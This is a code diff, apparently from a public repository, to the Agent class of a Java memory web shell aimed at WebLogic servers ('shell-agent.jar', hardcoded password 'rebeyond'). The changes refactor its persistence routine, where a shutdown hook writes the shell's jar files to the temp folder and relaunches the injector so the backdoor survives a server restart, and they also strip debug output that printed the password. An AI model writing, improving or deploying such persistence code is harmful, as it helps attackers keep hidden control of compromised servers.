@@ -16,6 +16,9 @@ public class Agent {
1616 public static InstrumentationContext context = new InstrumentationContext ();
1717 public static String currentPath ;
1818 public static String password = "rebeyond" ;
19+ private final static String AGENT_NAME = "shell-agent.jar" ;
20+ private final static String INJECT_NAME = "inject.jar" ;
21+
1922 public static byte [] injectFileBytes = new byte []{}, agentFileBytes = new byte []{};
2023
2124
@@ -26,8 +29,6 @@ public static void agentmain(String args, Instrumentation inst) throws IOExcepti
2629 } else {
2730 Agent .currentPath = args ;
2831 }
29- out .println ("Agent password:" + Agent .password );
30- out .println ("Agent currentPath:" + Agent .currentPath );
3132 start (inst );
3233 }
3334
@@ -58,7 +59,7 @@ private static void start(Instrumentation inst) {
5859 clear ();
5960 persist ();
6061 } catch (Exception e ) {
61- // System. out.println(e);
62+ out .println (e . getMessage () );
6263 }
6364
6465 }
@@ -83,14 +84,11 @@ public static void addHook() {
8384
8485 public static void persist () {
8586 try {
86- // out.println("persist add");
8787 Thread t = new Thread () {
8888 public void run () {
8989 try {
90- // out.println("persist start");
91- writeFiles ("inject.jar" , Agent .injectFileBytes );
92- writeFiles ("shell-agent.jar" , Agent .agentFileBytes );
93- // out.println("persist end");
90+ writeFiles (INJECT_NAME , Agent .injectFileBytes );
91+ writeFiles (AGENT_NAME , Agent .agentFileBytes );
9492 startInject ();
9593 } catch (Exception e ) {
9694
@@ -100,15 +98,16 @@ public void run() {
10098 t .setName ("shutdown Thread" );
10199 Runtime .getRuntime ().addShutdownHook (t );
102100 } catch (Throwable t ) {
103- out . println ( t . getMessage ());
101+
104102 }
105103 }
106104
107- private static void startInject () throws InterruptedException , IOException {
108- Thread .sleep (2000 );
105+ private static void startInject () throws Exception {
106+ Thread .sleep (3000 );
109107 String tempFolder = System .getProperty ("java.io.tmpdir" );
110- String cmd = "java -jar " + tempFolder + File .separator + "inject.jar " + Agent .password ;
108+ String cmd = "java -jar " + tempFolder + File .separator + INJECT_NAME + " " + Agent .password ;
111109 Runtime .getRuntime ().exec (cmd );
110+
112111 }
113112
114113 static byte [] mergeByteArray (byte []... byteArray ) {
@@ -133,13 +132,16 @@ static byte[] mergeByteArray(byte[]... byteArray) {
133132 return result ;
134133 }
135134
135+ public static void main (String [] args ) throws Exception {
136+ readInjectFile ("C:\\ Users\\ fbi\\ Documents\\ javaProject\\ weblogic_memshell\\ inject\\ target" );
137+ }
136138 public static void readInjectFile (String filePath ) throws Exception {
137- String fileName = "inject.jar" ;
139+ String fileName = INJECT_NAME ;
138140 readFile (filePath , fileName );
139141 }
140142
141143 public static void readAgentFile (String filePath ) throws Exception {
142- String fileName = "shell-agent.jar" ;
144+ String fileName = AGENT_NAME ;
143145 readFile (filePath , fileName );
144146 }
145147
@@ -152,7 +154,8 @@ private static void readFile(String filePath, String fileName) throws Exception
152154 byte [] bytes = new byte [1024 * 100 ];
153155 int num = 0 ;
154156 while ((num = is .read (bytes )) != -1 ) {
155- agentFileBytes = mergeByteArray (agentFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
157+ if (fileName .equals (AGENT_NAME )) agentFileBytes = mergeByteArray (agentFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
158+ else if (fileName .equals (INJECT_NAME )) injectFileBytes = mergeByteArray (injectFileBytes , Arrays .copyOfRange (bytes , 0 , num ));
156159 }
157160 is .close ();
158161 }
0 commit comments